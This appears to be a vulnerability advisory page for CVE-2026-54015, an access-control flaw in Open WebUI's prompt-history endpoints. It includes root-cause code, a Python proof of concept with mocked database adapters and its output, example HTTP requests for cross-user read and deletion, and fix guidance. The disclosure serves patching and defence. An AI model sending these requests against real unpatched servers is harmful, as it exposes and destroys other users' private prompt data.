GHSA-4r4w-2wgp-w7cj CVE-2026-54015 PYSEC-2026-2701
Open WebUI Prompt history IDOR: unbound history_id allows cross-prompt read and deletion
- Severity
- 6.4 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.27%
- Chance of exploitation in the next 30 days. Higher than 19.13% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
0.9.6- Upgrade open-webui to this version or later
Description
Summary
Open WebUI's prompt version-history endpoints authorize the prompt_id in the URL but then act on caller-supplied history IDs without verifying that the history row belongs to that prompt (history_entry.prompt_id == prompt.id). Three operations are affected:
GET /api/v1/prompts/id/{prompt_id}/history/diff— returns another prompt's history snapshots (read).POST /api/v1/prompts/id/{prompt_id}/update/version— restores another prompt's snapshot into the caller's prompt, exposing its content (read).DELETE /api/v1/prompts/id/{prompt_id}/history/{history_id}— deletes another prompt's history entry (delete).
An authenticated user with access to any prompt they control, plus a victim prompt_history.id, can read or delete another user's private prompt history. The single-entry read endpoint (GET .../history/{history_id}) already enforces the binding; these three did not.
Impact
Security boundary crossed: prompt confidentiality and integrity.
Prompt history snapshots can contain private prompt text, internal instructions, and sensitive variables. With a known victim prompt_history.id, an attacker can read another user's snapshot (via the diff endpoint or by restoring it into their own prompt) and delete another user's history entry. The active prompt row is not destroyed; the delete impact is against version history. Exploitation requires knowing or obtaining victim history UUIDs, so severity depends on adjacent ID exposure.
Root Cause
The route checks read access only for prompt_id:
# backend/open_webui/routers/prompts.py
prompt = await Prompts.get_prompt_by_id(prompt_id, db=db)
...
if not (
user.role == 'admin'
or prompt.user_id == user.id
or await AccessGrants.has_access(
user_id=user.id,
resource_type='prompt',
resource_id=prompt.id,
permission='read',
db=db,
)
):
raise HTTPException(...)
But the authorized prompt ID is not passed into the diff sink:
# backend/open_webui/routers/prompts.py
diff = await PromptHistories.compute_diff(from_id, to_id, db=db)
compute_diff() fetches both history entries globally by ID and returns their full snapshots:
# backend/open_webui/models/prompt_history.py
result_from = await db.execute(select(PromptHistory).filter(PromptHistory.id == from_id))
from_entry = result_from.scalars().first()
result_to = await db.execute(select(PromptHistory).filter(PromptHistory.id == to_id))
to_entry = result_to.scalars().first()
...
return {
'from_snapshot': from_snapshot,
'to_snapshot': to_snapshot,
...
}
There is no check that from_entry.prompt_id == prompt_id or to_entry.prompt_id == prompt_id.
The same missing binding affects two further endpoints. POST .../update/version restores a snapshot fetched globally by version_id:
# backend/open_webui/models/prompts.py — update_prompt_version
history_entry = await PromptHistories.get_history_entry_by_id(version_id, db=session)
...
prompt.content = snapshot.get('content', prompt.content) # foreign snapshot copied into caller's prompt
prompt.version_id = version_id
DELETE .../history/{history_id} deletes an entry fetched globally by history_id:
# backend/open_webui/models/prompt_history.py — delete_history_entry
result = await db.execute(select(PromptHistory).filter_by(id=history_id))
entry = result.scalars().first()
...
await db.delete(entry)
Neither checks entry.prompt_id == prompt.id. The single-entry read endpoint (GET .../history/{history_id}) does (history_entry.prompt_id != prompt.id → 404); these three endpoints were missing it.
PoC
#!/usr/bin/env python3
"""
PoC for prompt history diff IDOR.
The PoC executes:
- the real routers.prompts.get_prompt_diff() route function
- the real PromptHistories.compute_diff() implementation
Fake model/DB adapters are used only to avoid requiring a running server. The
security-sensitive behavior under test is that the route authorizes the prompt
ID in the URL, then computes a diff for arbitrary history IDs without checking
that those history rows belong to the authorized prompt.
"""
from __future__ import annotations
import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace
def prepare_imports() -> None:
repo_root = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(repo_root / "backend"))
os.environ["VECTOR_DB"] = "none"
class DummyTyper:
def command(self, *args, **kwargs):
return lambda fn: fn
sys.modules.setdefault(
"typer",
types.SimpleNamespace(
Typer=lambda *args, **kwargs: DummyTyper(),
Option=lambda *args, **kwargs: None,
echo=lambda *args, **kwargs: None,
Exit=Exception,
),
)
sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))
class FakeScalarResult:
def __init__(self, row):
self.row = row
def first(self):
return self.row
class FakeExecuteResult:
def __init__(self, row):
self.row = row
def scalars(self):
return FakeScalarResult(self.row)
class FakePromptHistoryDb:
def __init__(self, rows):
self.rows = rows
self.calls = 0
async def execute(self, stmt):
row = self.rows[self.calls]
self.calls += 1
return FakeExecuteResult(row)
class FakeDbContext:
def __init__(self, db):
self.db = db
async def __aenter__(self):
return self.db
async def __aexit__(self, exc_type, exc, tb):
return False
async def run_real_compute_diff(from_id: str, to_id: str):
import open_webui.models.prompt_history as history_module
victim_from = SimpleNamespace(
id=from_id,
prompt_id="victim-prompt",
snapshot={
"name": "Victim Prompt",
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V1",
},
)
victim_to = SimpleNamespace(
id=to_id,
prompt_id="victim-prompt",
snapshot={
"name": "Victim Prompt",
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V2",
},
)
fake_db = FakePromptHistoryDb([victim_from, victim_to])
original_context = history_module.get_async_db_context
try:
history_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
diff = await history_module.PromptHistories.compute_diff(from_id, to_id)
finally:
history_module.get_async_db_context = original_context
return diff
async def main() -> None:
prepare_imports()
import open_webui.routers.prompts as prompts_router
attacker_prompt = SimpleNamespace(
id="attacker-prompt",
user_id="attacker",
)
attacker = SimpleNamespace(id="attacker", role="user")
victim_from_id = "victim-history-from"
victim_to_id = "victim-history-to"
class FakePrompts:
looked_up_prompt_ids = []
async def get_prompt_by_id(self, prompt_id, db=None):
self.looked_up_prompt_ids.append(prompt_id)
if prompt_id == "attacker-prompt":
return attacker_prompt
return None
class FakeAccessGrants:
async def has_access(self, *args, **kwargs):
return False
class FakePromptHistories:
compute_diff_calls = []
async def compute_diff(self, from_id, to_id, db=None):
self.compute_diff_calls.append(
{
"from_id": from_id,
"to_id": to_id,
"authorized_prompt_id_not_passed": True,
}
)
return await run_real_compute_diff(from_id, to_id)
fake_prompts = FakePrompts()
fake_histories = FakePromptHistories()
original = {
"Prompts": prompts_router.Prompts,
"AccessGrants": prompts_router.AccessGrants,
"PromptHistories": prompts_router.PromptHistories,
}
try:
prompts_router.Prompts = fake_prompts
prompts_router.AccessGrants = FakeAccessGrants()
prompts_router.PromptHistories = fake_histories
diff = await prompts_router.get_prompt_diff(
prompt_id="attacker-prompt",
from_id=victim_from_id,
to_id=victim_to_id,
user=attacker,
db=None,
)
finally:
for name, value in original.items():
setattr(prompts_router, name, value)
result = {
"confirmed": (
diff.get("from_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V1"
and diff.get("to_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V2"
and fake_prompts.looked_up_prompt_ids == ["attacker-prompt"]
and fake_histories.compute_diff_calls
and fake_histories.compute_diff_calls[0]["authorized_prompt_id_not_passed"] is True
),
"attacker_user_id": "attacker",
"authorized_prompt_id": "attacker-prompt",
"victim_prompt_id": "victim-prompt",
"victim_history_ids": [victim_from_id, victim_to_id],
"prompt_ids_authorized_by_route": fake_prompts.looked_up_prompt_ids,
"compute_diff_calls": fake_histories.compute_diff_calls,
"leaked_from_snapshot": diff.get("from_snapshot"),
"leaked_to_snapshot": diff.get("to_snapshot"),
"source": {
"route": "backend/open_webui/routers/prompts.py:get_prompt_diff",
"sink": "backend/open_webui/models/prompt_history.py:PromptHistories.compute_diff",
},
}
print(json.dumps(result, indent=2, sort_keys=True))
if not result["confirmed"]:
raise SystemExit(1)
if __name__ == "__main__":
asyncio.run(main())
The PoC executes the real route function and the real PromptHistories.compute_diff() implementation with fake model/DB adapters. It authorizes the attacker against attacker-prompt, then supplies two victim history IDs. The route returns the victim prompt snapshots.
Result:
{
"attacker_user_id": "attacker",
"authorized_prompt_id": "attacker-prompt",
"confirmed": true,
"leaked_from_snapshot": {
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V1",
"name": "Victim Prompt"
},
"leaked_to_snapshot": {
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V2",
"name": "Victim Prompt"
},
"prompt_ids_authorized_by_route": [
"attacker-prompt"
],
"victim_history_ids": [
"victim-history-from",
"victim-history-to"
],
"victim_prompt_id": "victim-prompt"
}
Exploit Sketch
Read via the diff endpoint:
- Attacker has read access to
ATTACKER_PROMPT_ID. - Attacker knows two history IDs for a victim prompt:
VICTIM_FROM_HISTORY_IDandVICTIM_TO_HISTORY_ID. - Attacker requests:
GET /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/diff?from_id=VICTIM_FROM_HISTORY_ID&to_id=VICTIM_TO_HISTORY_ID
- The server authorizes
ATTACKER_PROMPT_ID, then returns snapshots for the victim history IDs.
Read via restore (update/version): the attacker POSTs {"version_id": "VICTIM_HISTORY_ID"} to their own prompt's update/version, then GETs their prompt; it now holds the victim snapshot's name/content/data/meta/tags.
Delete: the attacker sends DELETE /api/v1/prompts/id/ATTACKER_PROMPT_ID/history/VICTIM_HISTORY_ID; the victim history entry is removed.
Recommended Fix
Bind every prompt-history operation to the authorized prompt before acting on a history ID, mirroring the single-entry read endpoint:
compute_diff()should acceptprompt_idand query both entries withPromptHistory.prompt_id == prompt_idalongside the id filter.delete_history_entry()should acceptprompt_idand filterfilter_by(id=history_id, prompt_id=prompt_id).update_prompt_version()should rejecthistory_entry.prompt_id != prompt_idbefore restoring.
Return 404/403 on mismatch.
Consolidation
Per our Report Handling policy this consolidates independent reports of the same prompt-history authorization flaw (one missing history_entry.prompt_id == prompt.id binding) reached through different endpoints:
- Diff-endpoint read and history deletion: @0xEr3n (earliest filings).
update/versionrestore-read: distinct path demonstrated by @5yu4n.
One CVE for the consolidated advisory.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| open-webui | < 0.9.6 |
0.9.6 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
open-webui PyPI → 0.9.6
- pip
pip install --upgrade "open-webui>=0.9.6"- poetry
poetry add "open-webui>=0.9.6"- uv
uv add "open-webui>=0.9.6"
Severity breakdown
CVSS 3.1 6.4
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:L
- Attack vector
- Network
- Attack complexity
- High
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- Low
- Availability
- Low
Weakness
CWE-284: Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CWE-639: Authorization Bypass Through User-Controlled Key
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
How to prevent it
- Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
- Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
- Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-wvm9-9g5j-623f Open WebUI: Users denied by the OAuth role policy can still sign in via token exchange | Medium | Also affects open-webui |
| GHSA-4qg5-cxx4-g927 Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange | Medium | Also affects open-webui |
| GHSA-jqhh-cjmq-vmv6 Open WebUI: Any authenticated user can hang the server via a cyclic chat message history | Medium | Also affects open-webui |
| GHSA-5x7x-4c3c-qf5w Open WebUI: Server-side fetches reach blocked and internal hosts via unvalidated HTTP redirect targets | Medium | Also affects open-webui |
| GHSA-3cgp-3cqx-j8w2 Open WebUI: Any authenticated user can hang the server via message deletion in a cyclic chat tree | Medium | Also affects open-webui |
| GHSA-34r3-9m95-vq73 Open WebUI: Any authenticated user can reach the Azure platform channel via server-side web fetch | High | Also affects open-webui |
| GHSA-2724-6cpj-gf3v Open WebUI: Non-admin users can delete admin-owned external knowledge connections via knowledge base deletion | High | Also affects open-webui |
| GHSA-3pf7-q2g3-wj28 Open WebUI: Any authenticated user can inject chats into another user's folder via chat completions | Medium | Also affects open-webui |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor